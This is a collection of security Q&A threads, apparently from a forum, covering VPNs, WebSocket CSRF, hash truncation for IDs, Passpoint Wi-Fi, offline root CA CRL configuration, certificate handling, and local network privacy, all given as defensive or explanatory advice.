Capturing text messages on the fly Suppose your phone is not connected to any network. You are sitting in a cafeteria with 50 other people, everyone is communicating to each other via text messages. Is it possible through any device or way to capture messages within that field?

Yes.  A Harris Stingray, Boeing DRT box, or other cell simulator can intercept SMS messages.

These are monitoring devices that have secretly been used by police agencies for over a decade.  They come with strict non-disclosure agreements where the agencies that purchase them are not even allowed to acknowledge their existence to the public, and certainly are not available to the general public.  As they have recently come into the sunlight, the legality of their use for warrantless wiretaps has been called into question.  The state of California passed a law that took effect on 1 January, 2016, requiring officials to obtain a warrant to use them.

Researchers have used a cheap RTL-SDR receiver to decode SMS messages; be aware this would likely run afoul of various laws if applied to any messages but your own.  If you're interested, here is a link to the project writeup.


Help understanding VPN I've been reading about VPNs lately, and I'm struggling to understand what they do and how they're essential components to upholding anonymity online. The basic idea I have is that a VPN allows two entities to exchange information with each other over the internet, but I don't really know what this means. The Wikipedia definition says "A VPN extends a private network across a public network, such as the internet." Any resources or answers about how I can better understand what this means would be great.

Also, why is it a point of VPN providers to say that they do not keep "logs," or something to that effect? What does this mean, and how does it compromise one's security? Are VPNs that you don't create yourself essentially trust-based?

In the old days, if you were a big company with multiple private local networks in multiple locations, you connected them together by installing private data lines between the various locations to make a Wide-Area Network. Then the Internet came along, and you also had to connect each site to the Internet.

It turns out that Internet feeds are much, much cheaper than private lines are, so inevitably people began asking "why can't I just connect these sites together with the Internet, and save money?"

The answer, of course, is that the Internet is a public network, so you don't want to send confidential company data over it. You could modify all your systems encrypt their data when they talk to each other but that is likely to be complicated and expensive.

One solution was a technology called VPN. You tell each computer in the New York office that if it has anything for a computer in the London office that it should send it via a VPN gateway. The gateway is a machine connected to both the New York private local network, and to the public Internet. When it receive data for London it encrypts it and sends it over the Internet to another VPN gateway. The second gateway is connected to the public Internet and to the London private network, and when it receives the data from New York it decrypts it and drops it into the London network. The same thing happens to data going from London to New York, and if you open a Tokyo office you just install a third gateway and tell them about each other.

In this way, the machines in New York and London can talk to each other, but while the data is travelling over the public network it is encrypted and safe. You don't have to change anything about the machines that are talking, you just have configure your network routing tables, so everything works as if you had the expensive private WAN link.

This is Site-to-Site VPN. This idea was developed into Remote Access VPN.

An employee at home or travelling can connect their computer to the Internet and run a piece of software called a VPN client. When their computer has data to send to the New York office, the VPN client intercepts it, encrypts it, and sends it to the New York VPN gateway, which decrypts and drops the data into the New York network. In this way, the employee is able to safely access machines on the private New York network from anywhere they can get an Internet connection.

A further development has arisen more recently, called VPN as a Service.

Sometimes a person has data that they are OK to send over the Internet in general, but their local connection to the Internet is one that they specifically don't trust. Maybe they are in a sleazy Internet cafe and don't trust the owner, or they suspect the government has ordered their ISP to spy on them.

They can work around this problem by signing up with a VPN service provider. This works in the same way as the Remote Access VPN, with a local client installed on their machine encrypting data and sending it to a VPN gateway at the service provider. However, instead of accessing a private network, the service provider decrypts your packets and sends them out to the Internet over their connection, which you trust.

(This is why VPN service providers make a big deal of not logging traffic; if you suspect the Government has a warrant for your ISP, then they might also get a warrant for your VPN provider, so you want them to keep as little information about you as possible.)


Do WebSocket-powered web apps (e.g. "comet" apps) have to worry about CSRF? The standard advice for HTTP applications wanting to prevent Cross Site Request Forgery is to include a random token on each state-changing request (usually POST) which is verified by the server before allowing the state change.

Do the same considerations apply for WebSocket connections?  Should web applications using WebSockets (or fall-back transports like JSON polling, as employed by Socket.IO or SockJS) include nonces verified by the server on each transmission to prevent CSRF?

Or is there a preferred mitigation strategy for WebSockets?

Should web applications using websockets (...) include nonces verified by the server on each transmission to prevent CSRF?

TL;DR: This is desirable, though not necessarily on each trasnmission (once per connection should suffice) and not to prevent CSRF, but XSS. This is more a safeguard than a strict necessity though. Details below.

To answer whether or not WebSockets are vulnerable to CSRF we must first understand the conditions that allow such attacks to take place:

The user is authenticated to a domain, usually by means of a session cookie;
There exists one or more types of HTTP request that, when performed by an autheticated user, will have some sort of side-effect;
Because of exceptions to the same origin policy, one site that should generally not be allowed to make a given request is able to do so, and the user agent includes authentication/authoriation cookies in that request.

For instance, when site A includes a img tag with src pointing to domain B, the user agent honors the request, passing along any cookie that is set for domain B. What the use of a secret CSRF token accomplishes is that part of the authentication data is included in the URL itself, so an attacker that does not know the token can not forge a URL that will be accepted by the server (since this part of the authentication will fail).

AFAIK WebSockets can open connections to any server and port (disclaimer: the reference used in the linked post might be outdated). They can have their own cookies (although not the same ones used by the HTTP pages - since the scheme is different) and - if my interpretation of RFC6455 is correct - these cookies will be sent alongside the connection request regardless of which site initiated the request (though the server can reject requests coming from a different origin). If these cookies provide all the authentication required to honor the request, then the server will honor the request.

So, to determine whether or not a WebSocket-based CSRF attack can be made, these questions must be considered (though I'm afraid I can't provide a definite answer on them):

Is your server properly configured to only accept request from trusted origins? Can the origin be spoofed (in this context)?
Can a WebSocket connection happen outside the context of a JavaScript call, for instance creating a URL with ws or wss as scheme and using it as a src or href of a markup element? Would that have any undesirable side-effect? I know it's silly, but since I don't have an answer to this question I must raise the possibility nonetheless...
How is your authentication and authorization done? According to this post (which also highlight other potential issues, not directly related to CSRF) there is nothing built-in, so you have to implement it yourself. Depending on how you do it, and what assumptions you make about the user agent behavior, this may open you up for XSS attacks (which, while different from CSRF strictly speaking, is related in the sense that the browser would misuse its authority to set authentication cookies in contexts that are different from what you expected - righly or wrongly).


Truncating hash output for a unique ID This seems like a common question, but my knowledge on hashing is very limited, so I'm looking for a more ELI5-type answer.  I would appreciate if someone could help me with my questions

Some context: I'm working on a requirement to generate a human-friendly 12-character long ID (for customer payment receipts) that will use the symbol set A-Z 0-9 without O, I, Z, and U. That gives me 32 symbols which means 5 bits per symbol and hence the ID would be 60 bits. The requirement is that these IDs should be unique, but will be stored in a database so I can look up in the database and regenerate another one if one already exists. It would be great if the IDs were inherently unique (so looking in to the database would not be followed by regenerating a new ID)

My question is

If I choose to create get a SHA-256 of either a UUID, or some value obtained by concatenating the private IP address of the host, the timestamp, and the thread id handling an ID generation request, then get its SHA-256 hash, and use its 60 bits

Would I get the maximum benefit from using the first 60, or last 60 (or middle?) to preserve maximum uniqueness? Would I get greater benefit if I used the first 12 characters of the hexadecimal number of the SHA value?
I read here that for n-bit values, the birthday bound is 2^(n/2). So that does mean, if I do the above processing, I could expect collisions after 2^(30) generations with 50% probability?

The requirements are not flexible (else I would obviously go with a UUID).

Thanks!

There is no known property of the first/last/middle/whatev 60 bits of a SHA-256 output that would make them more/less "randomish" than the last/whatev/middle/first 60 bits. In other words, you could take the first 60 bits, and that will be as fine as you can get.

With such a random generation, you can indeed expect the first collisions to appear after one billion or so (230) IDs have been accumulated. Even if you get your first collision at that point, collisions will still remain a rare event. With 60-bit IDs, when you have, say, 235 of them (that's more than thirty billions), then only one in 225 of new IDs will collide with an existing one (so this would still happen less than once in 30 millions of cases). If you have a database and can tolerate the occasional but quite rare collision, then random generation of the 60-bit ID is the way to go.

(Or, said otherwise, if you get collisions often, then this means that you have already gathered a huge number of IDs, and your central database must be of biblical proportions.)

If you want more uniqueness than that, then you need some sort of central ID generator. For instance, there is a central server that can be interrogated, and returns the next value of a counter. The server always increases the counter value after being interrogated, so it never returns twice the same value. The server won't run out of 60-bit integers before a long time, because, let's face it, 260 is still huge.

Now comes the hard part, which is the one you did not talk about: must the IDs be unpredictable ? This is not an easy question; it depends on what you do with them and, basically, everything in your system. If you need unpredictable IDs, then a central counter will not work, because everybody can obtain an ID value and predict the next one with 100% accuracy. The usual solution, in that case, would be to still have a counter, but to encrypt the successive values with a block cipher whose block size is identical to that of the ID. Here you would need a block cipher with 60-bit blocks -- this can be built out of a block cipher with slightly larger blocks, e.g. 3DES (64-bit blocks). This makes sense, though, only in the context of a central ID generator.

If you must allow ID generation from several "client" machines without having them talk together or with some central system, then you will have to rely on randomness and tolerate the few occasional collisions (that will be quite rare for a long time). If you need unpredictability, then use a cryptographically secure PRNG. Depending on your operating system and programming framework, this may be called /dev/urandom (Linux/Solaris/*BSD systems), CryptGenRandom() (Windows C/C++), java.security.SecureRandom (Java), System.Security.Cryptography.RNGCryptoServiceProvider (.NET)... Is is possible that the inherent UUID generation system of your local programming environment relies on a cryptographically secure PRNG (so hashing an UUID with SHA-256 would then be fine, even for unpredictability), but why take risks ? Just use a strong PRNG directly.


If I know the CPU architecture of a target, can I send instructions embedded in an image? Can I send instructions embedded in an image to a target, if I know his CPU architecture?

Other answers give a good technical explanation but let me try with an analogy:

  Please send your credit card number to scam@example.com

Did you read it?
Did you do it?

It's more or less the same for your CPU. Reading something is not the same as executing it.


I connected to an apparently password protected WiFi without giving a password My partner and I have just moved house and we're waiting for our internet to be connected. We're living in a group of units and as you'd expect there are numerous WiFi networks, all secured... or so I thought.

The other day I was using my phone as a wifi hotspot and my partners phone was connected to it (I had more data allowance). I turned off the hotspot and waited for her streaming music to cut out... and waited... and waited. I was becoming more and more amazed by how much of the song was buffered. I went to check what was going on and noticed her phone had somehow connected to an apparently secured WiFi network. The streaming service continued uninterrupted.

I thought, that's really odd, but hey, maybe we can mooch off the neighbours until our connection comes online. I tried my own phone and laptop... both were prompted for passwords and unable to connect.

How on earth can this have happened? We can connect and disconnect to this secure WiFi as we please, but only on my partners phone. My only guess is that by pure coincidence our neighbour pressed the WPS button around the same time, but that seems ridiculously unlikely.

How could my partners phone have connected to this secure WiFi network?

I believe what happened is that your partners phone is connecting to this network through the use of 802.11u/Hotspot 2.0/Passpoint. Passpoint allows a device to learn details about a wireless network and if the conditions are right authenticate to it prior to automatically joining the network.

While the evidence is circumstantial unless you can provide a lot more information, this matches up with the capabilities of the devices you mention or that are probable based on the information you provide. It also explains why your partners phone automatically connected to this network in a secure fashion without any action on her part.

For some period of time, Passpoint support was only implemented in a handful of Android devices by the device manufacturers (AFAIK, only in LG and Samsung devices). Google officially added Passpoint support in it's Android "Oreo" v8.0 release, even if it is up to the OEMs if they actually implement this feature.

Your Motorola Moto G 2nd Gen is neither capable of running Oreo nor is it one of the devices where support was added prior to Google's implementation. However, from what I can find, your partners Huawei Google Nexus 6P's officially supported current version is listed as Oreo. I can't find details about if the Nexus implemented the Passpoint feature, but as a device co-developed by Google, the chances are probably good.

The generic "NetComm Wireless" network you mention is likely a ISP/carrier provided CPE device. NetCommWireless is a company that produces hardware for both Carriers and ISPs. Many ISP/carriers are implementing features that turn your local wireless into a public Wi-Fi hotspot, specifically to offload traffic from cellular networks where possible. It is likely that this network is such a device.

You aren't really "mooching" off your neighbors. The ISP/Carrier is likely quietly providing additional bandwidth above and beyond your neighbors contracted bandwidth to support such a service. Since the connection uses WPA2-Enterprise/AES based encryption, the wireless connection is more secure than connecting to your phone's hotspot. And most likely, as part of the authentication process, your traffic is isolated from your neighbors traffic (for instance by a different VLAN assignment returned by the RADIUS server).


Authentication on client server I have following requirements for system:

My admins authenticate on client servers
Over http
Central authorization server

My solution is based on O-Auth:

user is redirected to authentication server to check his creditals (certificate / password), server saves auth-token in db with timestamp and userId
server redirects user back to client with auth-token in url
client connects to server over https passing auth-token, it's secret and id
server checks if client creditals are ok, and if it has non-expired auth-token in db (auth-token is removed then)
if so, it takes user claims and pass it back to client server
client server then uses cookie to auth user

Is it good idea? Maybe something like this is already available (I'm using C# mvc)?

Is passing auth-token through http huge risk?

This isn't a good idea. Using OAuth 2.0 or OAuth 2.0ish protocols for Authentication isn't correct. OAuth 2.0 was designed as an Authorization protocol. Using OAuth 2.0 as an authentication protocol carries a handful of security implications. OpenID Connect was developed to fix these deficiencies in OAuth 2.0 so OAuth 2.0 can be used for authentication. The OpenID Connect foundation recommends using https://github.com/IdentityServer/IdentityServer3 for OpenID Connect in C#.

Additionally, if you do end up implementing your solution passing the auth token using HTTP and not HTTPS is a big security risk. If an attacker can intercept the token in transmission while the server is redirecting the user back to the client, the attacker can use the token to authenticate as the user without needing the users password. Every part of an OAuth 2.0 flow needs to happen over HTTPS.


Replacing files with infected files on anonymous ftp server I am creating a new question as i now have another question which was raised from a previous answered question post.

What im trying to figure out is would this scenario be possible.

I have an anonymous FTP server with a file that we will call cred.gpg, within that encrypted file is a PDF named passwords.pdf.

Would it be possible, as its an anonymous server for someone to remove cred.gpg. Then for them to create a bogus file on their side which contains a virus named passwords.pdf and encrypt it using my public key to a file name cred.gpg.

Then upload that file to the server.  Then when i go to open the file it all looks the same except when i go to open the passwords.pdf i am now infected.

Would this scenario be possible?  I am thinking it is, but im not sure, i just need advice on whether this would be possible, as i may need to rethink my setup.

Thanks

It is possible,  if your server accepts files uploaded by an anonymous user and if you don't provide a hash (e.g. SHA-256, SHA-512,...) in order to check that cred.gpg actually contains passwords.pdf and not evilfile.pdf.


Security of a password container in the cloud I currently use Keypass to manage my passwords and I sync the container between my desktop and my smartphone via USB.

My wife has an older tablet that I cannot sync via USB because I cannot mount it as an external disk, but I know that Keypass can sync a container on Dropbox. The problem is that IMHO a master password is not secure enough for a file in the cloud.

Am I truely paranoiac and should I use a Dropbox container with no further precaution, or are there other options to make the operation reasonably secure?

Do you really think that you are that much at risk? That's what it comes down to.

As long as you have a good passcode, it is going to be more than enough unless you are expecting ongoing, long-term, government-level aggression.

Make the passcode long and as random as you can while still remembering it.

You could also try to hide the TC file with an innocuous sounding name.

You could go further and require a secondary key using a file such as a particular mp3 but honestly, the more complex you make things, the more likely you are to end up locked out of your own password database which is an even worse (and ultimately more likely) scenario.


Should Google User ID's be hashed when stored in the database I'm currently developing an auth backend that allows for both Google and Email/Password as authentication methods.

I'm basically treating the Google ID and Password as credentials here. I'm already one-way hashing passwords but I'm not sure if I need to go this extra length with Google ID's as well.

I followed the best practices outlined in Google's docs which include sending the JWT token signed by Google from the client to server, which is then verified and used to get the User ID (all on the server). So I'm not worried about someone potentially using a stolen User ID to get access to an account; however I'm a bit worried about possible compromises of the database and, if in that case, the User ID from Google should be encrypted.

If you hash the google ID you must then rely on the hash function having no collisions, also as you need to use a plain hash like SHA256  not a salted hash like Bcrypt2, because for lookups you need a hash that can be repeated with zero information. For passwords you want a salted hash like Bcrypt2 to prevent rainbow-table attacks.

Hashing the google id (and the email addresses) gives greater protection if your database is compromised, but it's only an option if you don't need that information while the user is logged out (when they are logged in you can remember what they used to log in). If you do need that information while they are logged out you can use reversable encryption or just store it in plaintext.


Does safe removable media exist? I have a laptop operating a vehicle with attached camera. Video is exported using removable media. Ports available are USB and Ethernet (also video and audio I suppose). The laptop is not infected (presumably). Transfer speed must be enough for streamed video (H.264).

I've been looking into different removable media solutions, trying to find a solution that does not compromise the laptop even if the removable media has been compromised software wise when plugged into the untrusted system importing the data.

What are my options?

Drastic (expensive) measures allowed. (Until this is solved it's pretty much the burn-after-use rule.)

I'll go with a bit of an unorthodox suggestion. Don't connect storage media directly to the laptop at all. Treat the laptop as completely untrustworthy, and potentially disposable.

Quite simply: pretty much every modern, general-purpose, digital data interconnect can be used to make your life miserable if the device at the other end is untrustworthy. You'd probably have to go back to good old-fashioned serial or parallell ports to get something reasonably trustworthy, and those were slow: a few hundred kilobits per second, tops.

Instead, store the data elsewhere, pushing the data over a network, wirelessly if necessary, and set up the storage target system to only accept incoming data and to be what controls how it is stored.

I don't know what kind of network connectivity you have on that laptop, but even 100 Mbit/s is more than plenty for high-end video. A gigabit Ethernet connection will pretty much saturate a rotational hard disk drive with sequential I/O. Under good conditions and especially over short distances, you can get several hundred megabits per second over a standard 802.11 wireless network connection, if you optimize for throughput; 802.11n and 802.11ac. Especially if money isn't a big issue (which sounds like it's the case in your situation), I wouldn't be surprised if you can get good throughput also over cellular.

Now, on the other end of that link, set up a system that only stores the data. This could in principle be something as simple as a SSH/SFTP server that only allows writing data to a new file (or directory) each time; that wouldn't be terribly complicated to set up.

If you want to, store the video locally as a buffer, and transmit as conditions allow.

This is basically the same situation as when you're trying to safely back up a system where a hacker might gain access. Instead of coming up with elaborate solutions to prevent the hacker from jumping from one system to the other, simply set everything up so that the hacker can't get more access to the data on one system than he already has by being on the other. (In the case of system backups, this would typically be done by having the backup storage host pull the data from the backed-up host rather than having the backed-up host know how to write data on the backup storage host. Your situation is similar, but basically just the other way around.) It's also pretty much how aircraft flight recorders are designed: accepting data from a variety of sensors and storing it, but not allowing the data to be tampered with.


I'm moving my website to a new server, what implications does this have for my SSL certificate? I run a website which I serve over https and https only (add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";)

The ssl certificate I bought came from namecheap.com, but it's supplied by Comodo.  It's a "Essential SSL Wildcard" certificate.

Can I just move the certificate files from their location in /etc/nginx/ssl/ on my old server and expect them to work flawlessly on the new server?

Or do I have to do something clever, if so, what?  Is it just the same procedure I went through to install it onto the old server when I first got the certificate?  Is it ok to have it running on both servers simultaneously during the switchover?

I really hope I won't have to buy a new certificate as I paid for 3 years up-front only a few months ago...

Thank you!

It does not mean anything. The certificate is not bound to the server, so you can move them around as needed.

When you copy the certificates from the old to the new server, and change the DNS records to point to the new one, any client browser will connect to your domain, get the certificate, validate it and accept it. You don't need to issue new certificates.


Viable way to authenticate certificate without a web of trust? For SSL certificates we have a web-of-trust principle. If we are allowed to make alterations to the certificate format, are there viable ways to automatically or semi-automatically authenticate the certificate information is really about the owner without a CA? It's not an option to distribute keys in advance.

So far I came up with one-time passwords after an handshake making sure that it's for the purpose to send this OTP. Which will have to be sent back through a medium that allows verification, such as texting from a known cellphone number.

Are there any other methods?

Edit:
This question was not specific and had terminology mixed around, which resulted in a good practice to counter this. If you are interested in my original question it's been reformulated here: Authentication methods without trusting 3rd parties unless explicitly indicated

This is a bit muddled.  SSL certificates do not use web-of-trust; they use certificate authorities (CAs).  Basically, the CAs vouch that the public key for www.example.com is such-and-such.  The web-of-trust model is used by PGP, and is intended as an alternative to CAs.  So, if you want certificates without CAs, you could look at how the web-of-trust model works -- but beware, it's not clear that it works very well in practice.

It sounds like you want to somehow do without CAs.  OK.  So what properties do you want your certificates to vouch for?  Basically, think of a certificate as a signed statement: "I promise that the public key for www.example.com is 0xD6EF...1E2, signed, Verisign".  When relying parties receive this kind of certificate, that statement tells them what they can rely upon.  In your new world, what do you want recipients to be able to rely upon?  And, if you don't want to have a Verisign present, who is going to verify that those promises are in fact true?

In short, I suggest you think about what you are trying to achieve and what security guarantees you are looking for -- then we can talk about how to achieve them without CAs.  Try to write down what you want recipients to be able to rely upon (ignoring the crypto), and who will be responsible for verifying those things are true, and then we can look at the technology.


How was the website able to tell my credit card was wrong before it processed it? I was putting in my cc number and and as soon as I had finished inputting 16 digits it highlighted it in red. I looked it over and realized one digit was wrong. Corrected it, it became black. How did the website know it was wrong?

Credit card numbers can verified by calculating a checksum.

Every credit card number created is assigned a number following an algorithm.

  Ross Millikan:
  The checksum specifies the last digit, so there are 15 digits left.
  That should mean there are 10^15 numbers available, but there are
  other restrictions. The first digit is the card type (4=Visa,
  5=MasterCard, etc.) and the next several have to do with the issuer.

Following that, if this a credit card number does not comply with the algorithm, the checksum is incorrect so the number must be invalid.

The algorithm is called the “Luhn algorithm”, check this Wikipage for more Info.

  TripeHound: Note: if a given number fails the check, it is definitely
  not a real CC number. However, if it passes the check, it only proves
  that it is a potential CC number: it does not prove that it has
  actually been issued. The next stage of verification (talking to a
  card-processor) should verify that. Similar checks can be made on UK
  sort-code/account-number pairs (and probably something similar in
  other countries) and on International Bank Account Numbers
  (IBANs)

Edit: Added some of the information given in the Comments to the Answer.
Pleas go and give them an Upvote too, its great information.


Why encrypt sensitive mobile-app data When building a mobile app, it is expected (OWASP etc) that any sensitive data that the app stores be properly encrypted. That would include for example any passwords, session cookies, OAuth tokens.

On Android the apps normally use SharedPreferences to store such data. These can only be read by the app itself, unless someone has root access to the phone, in which case he/she can read the SharedPreferences of all apps.

Although I fully agree to the encryption of such data, it is not quite clear to me  which threat are we mitigating by doing so, because:

On a non-rooted phone, only the app itself can read the data, encrypted or not.
On a rooted phone all bets are off, since root can brute-force the master keys and then extract the app-keys to decrypt the data.

One point I see is that if the whole content of the phone were to be backed-up to an external service/filesystem, then the OS-protections would not apply anymore, so anyone with access to the backup could read all files. Is there any other threat we are mitigating by using encryption?

This is about defence in depth.

Whilst only the correct app should be the only one with access on a non-rooted phone, there are many examples indeed (especially on Android) of applications capable of breaking out of the standard security model.


How likely is an infection with an outdated skype on linux? Today I found an article about a skype hotfix and noticed that the repo I use on my linux notebook:

deb http://download.skype.com/linux/repos/debian/ stable non-free

Doesn't have the new version, but a very old one.

I'm running my current installation since about one month and I'm afraid I could have been infected. I noticed some crashes of the skype client and think that there could have been attacks on the vulnerabilities.

Does anybody know more about the skype repo and why the version isn't updated? Maybe I'm wrong and these versions aren't affected.

Firstly, upvote cx42net's answer, because as he says, the vulnerability only affects a certain type of package - the statically linked one.

The difference between static and dynamic linking is the use of shared objects. In a statically linked program, all 3rd party code is "baked in". If there are any vulnerabilities in it, the whole lot needs updating to fix that library.

By contrast, dynamically linked programs use shared libs which can be updated independently (e.g. by your distribution) and thus fixes in third party libraries are handled by your distribution as soon as possible, and apply to all  software run post update (because running applications will have the old SOs mapped into memory).

How do you tell which you have? The unix file command will tell you:

$ file /usr/bin/skype
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.9, stripped

If you see that, you're okay. It is highly unlikely you're using the static version from a debian repository - that just wouldn't make sense from a distribution point of view (the whole point of using static linking is to get around incompatible shared libraries - whereas if you have a repository, you can set dependencies on compatible libraries and kernel versions and make the download smaller to boot).

  noticed some crashes of the skype client and think that there could have been attacks on the vulnerabilities.

I'd be more inclined to put that down to the beta status of the software - although you're right to be cautious and investigating your system will not hurt.


Why does OWASP suggest using POST over PUT for file uploads? When browsing the OWASP security recommandations for file uploads, I ticked reading the following :

  Try to use POST method instead of PUT (or GET!)

I don't see how one method is better than another from security perspective. Could someone shed light on this advice?

TL;DR: PUT is not supported by a good deal of things.  Sometimes it is only available as an extension, and enabling extensions increase your attack surface.

@iain is correct in comment that the SO question PUT vs POST in REST is relevant here.  From the RESTfulness point of view PUT is fine for updating or even overwriting a file.

Yet, if you argue from the security standpoint the original HTML forms never did support PUT, only GET and POST.  A lot of info about this can be found on Are the PUT, DELETE, HEAD, etc methods available in most web browsers?, although some info there is obsolete and some links are dead.  So I'll summarize it here:

HTML

AJAX supports GET, POST, PUT and even DELETE.  But the common form in a browser doesn't.  HTML5 did add support to PUT and DELETE in its drafts versions, but neither PUT or DELETE can be found in the current definition of HTML5 infrastructure.  In other words, browsers have no obligation to understand <form method="PUT"> to conform to HTML5.

Webservers

Both Apache and Nginx use PUT and DELETE as WebDAV extensions.  If you want to harden your webserver one thing you often do is to compile it without the WebDAV extensions.  Adding extensions is increasing attack surface.

We frameworks on the other hand often do not support PUT.  Or, more commonly, simply use the same function to process POST and PUT, making the use of the PUT verb really the same as POST.

So yeah, the OWASP guideline makes some sense.  Although I would rewrite it as: "If you are implementing full REST use PUT, if you aren't use POST because it is more widely supported".


Should CRLs be published for Standalone Offline Root CA? I'm setting up a two tier PKI Hierarchy in our Windows Server 2012 R2 domain.

A number of tutorials suggest that the root CA should publish its CA certificate and CRL in Active Directory and via HTTP, but I've also seen a suggestion that neither should be published and the CRL should not be updated.

Which is right / best practice?

The commands I was going to use on the Standalone Offline Root CA were:

certutil -setreg CA\CRLPublicationURLs "1:C:\Windows\system32\CertSrv\CertEnroll\%3%8%9.crl \n10:ldap:///CN=%7%8,CN=%2,CN=CDP,CN=Public Key Services,CN=Services,%6%10\n2:http://pki.matty.local/CertEnroll/%3%8%9.crl"
certutil -setreg CA\CACertPublicationURLs "1:C:\Windows\system32\CertSrv\CertEnroll\%1_%3%4.crt\n2:ldap:///CN=%7,CN=AIA,CN=Public Key Services,CN=Services,%6%11\n2:http://pki.matty.local/CertEnroll/%1_%3%4.crt"
Certutil –setreg CA\ValidityPeriodUnits 10
Certutil –setreg CA\ValidityPeriod “Years”
Certutil –setreg CA\CRLPeriodUnits 52
Certutil –setreg CA\CRLPeriod “Weeks”
Certutil –setreg CA\CRLOverlapPeriodUnits 12
Certutil –setreg CA\CRLOverlapPeriod “Hours”
Certutil –setreg CA\CRLDeltaPeriodUnits 0
Certutil –setreg CA\CRLDeltaPeriod “Days”
Certutil –setreg CA\AuditFilter 127

But now I'm wondering if I should omit the CRL bits so that I don't have to manually publish and copy the CA certificate and CRL into LDAP and the HTTP location.

The commands I'd run would therefor be simply:

certutil -setreg CA\CRLPublicationURLs "1:C:\Windows\system32\CertSrv\CertEnroll\%3%8%9.crl \n10:ldap:///CN=%7%8,CN=%2,CN=CDP,CN=Public Key Services,CN=Services,%6%10\n2:http://pki.matty.local/CertEnroll/%3%8%9.crl"
certutil -setreg CA\CACertPublicationURLs "1:C:\Windows\system32\CertSrv\CertEnroll\%1_%3%4.crt\n2:ldap:///CN=%7,CN=AIA,CN=Public Key Services,CN=Services,%6%11\n2:http://pki.matty.local/CertEnroll/%1_%3%4.crt"
Certutil –setreg CA\ValidityPeriodUnits 10
Certutil –setreg CA\ValidityPeriod “Years”
Certutil –setreg CA\CRLDeltaPeriodUnits 0
Certutil –setreg CA\CRLDeltaPeriod “Days”
Certutil –setreg CA\AuditFilter 127

Or maybe (if it's possible/recommended to disable the CRL):

Certutil –setreg CA\ValidityPeriodUnits 10
Certutil –setreg CA\ValidityPeriod “Years”
Certutil –setreg CA\CRLDeltaPeriodUnits 0
Certutil –setreg CA\CRLDeltaPeriod “Days”
Certutil –setreg CA\AuditFilter 127

Which would mean I'd literally just be starting the Root CA up to authorise a new Issuing CA and nothing else.

How have you done yours and what would you do if you were setting it up from scratch again now?

You should publish the Root CA's CRL otherwise there will be no way to revoke your Issuing CA's certificate if the worse came to the worse and that CA was compromised.  Your only option at that point would be to wipe your whole chain (including Root) and build again from scratch.  That would also involve ensuring that each relying party has removed the original Root CA certificate from their trust-anchor store - not a trivial task.  Without a CRL you lose effective control of all subordinate CAs and end-entities and consequently the trustworthiness of your Root CA.

Note that even with a Root CA certificate CRL, ensuring that every single relying party has the freshest CRL possible after a compromise of the Issuing CA can be challenging.  Many relying-parties cache CRLs therefore you'd need to ensure that this cache is cleared on every single one - again not a trivial task.

Things get even more complex due to the fact that many browsers (Chrome, Firefox) don't even check CRLs any more.

Pragmatically, if you publish the CRL and an Issuing CA is compromised, at least you can take the moral high-ground. If a relying-party's software (which you have less or even no control over) doesn't check this CRL for another 6 months then nobody can point the finger of blame at you.  However, if you chose not to publish a CRL, you'd have some explaining to do.

You can publish the Root CA's certificate via HTTP but if you do, you should also provide an alternative method for relying-parties to confirm that this Root CA certificate is the genuine one - somehow publish a SHA-1 or SHA-256 hash of the file or the value of the SubjectKeyIdentifier extension of the certificate if present.  In a Windows environment it is more common to present the Root CA certificate to the AD administrator who can distribute it to all Windows devices using Group Policy.  However, it is useful to have it published so that non-Windows devices can download and install it.

There is no need to publish CRLs in LDAP these days as it's slow and not all relying-parties can access it.  Far better to publish to a HA HTTP service.

There is no point in publishing the Root CA certificate in LDAP as any party which will relying on it will have it in it's trust-anchor store.  If it doesn't have it in the store, it has either decided not to trust it, or needs to securely add it to it's trust-anchor store first.

So, simply remove all references to the LDAP:// URLs and only keep HTTP:// URL in the CRLDistributionPoint registry key.


Is the StartCom tool safe to generate CSR and private keys? I've used StartCom tool to generate CSR and private keys for my websites,but now i am concerned after reading about StartCom trustworthiness problems.Are my private keys and certificates secure or i should start to worry?

StartCom is a legitimate certificate authority that is trusted by most all browsers and operating systems to issue certificates, so it is unlikely that any trustworthiness problems you are reading about are severe enough to put any data at risk (or else they would lose their trusted status).

Whether StartCom actually had access to your private key depends on how your private key was generated. If you generated them locally and uploaded a certificate signing request (CSR) as is usually recommended, then you should have nothing to worry about as a CSR only contains your public key, not your private. If you went for the less optimal approach of allowing StartCom to generate your key, then theoretically speaking they could have access to it if they had malicious intent. If you are worried, just get a new certificate using a self-generated CSR.

As an alternative to StartCom, you may wish to look at Let's Encrypt for free certificates.


Can I be attacked if I have a shared windows folder in a public network? I am a little concerned. I have a new Windows 10 Laptop, where I put some copnfig files from my desktop PC via good ol' windows shared folder (I'm not quite sure about the english translation). I forgot to unshare it afterwards. I noticed today when I was in a public network (at university) and when I unshared it, it said there was a user connected to it. Since it was in a informatics course with 150 might-be hackers around me, I panicked a little. When i checked netstat there was still some connection going on. So I shut the system off asap.

Probably the user in the shared folder was just me and the connection was supposably some browser window in the background.

But it made me wonder, which security risks are you taking if you have a shared folder with write permission in a public network?

It depends on what permissions were set for the share folder.

If they had write access, your biggest concern is them putting a malicious file in that folder and fooling you into running it or getting another program set to run or open things from that folder to run it (hopefully you haven't set up something like that). They could also have modified a file you already trust in that shared folder in order to compromise something the next time you open it.

If they had read access only, your biggest concern is information disclosure depending on what you had in the drive.

Of course they could have done something to try to get you in trouble too like place some illegal content in your shared folder, but you would have noticed that.

Unless some vulnerability is found in the windows file and folder sharing protocol that you don't have patched, you don't have to be concerned with too much else.


Can my family see what sites I visit while I am on their wifi? I will be going on vacation for a few weeks to my family home and will be using their wifi for work.  The problem is, I am a cam model, and do NOT want them to know that I am visiting the sites let alone broadcasting.  I will be using my own laptop, but their internet. There is a MAJOR tech nerd in the house, and I wanted to know if there is a way to block what sites I go to so there is no log of them in the router.  Also, could he tell if I am broadcasting video?

Yes, they will be able to see what you are doing. Firstly, if the website you use does not use HTTPS, they will additionally be able to see any data you are sending, and tamper with it at will. Secondly, they will be able to see the domain you are visiting regardless of encryption status, which itself would likely be pretty incriminating. One solution would be to use a VPN, but be aware that many commercial VPNs can be defeated by a sufficiently tech-savvy attacker. This is because VPNs are designed only to be shared by people who mutually trust each other. Against most people, they are sufficient.
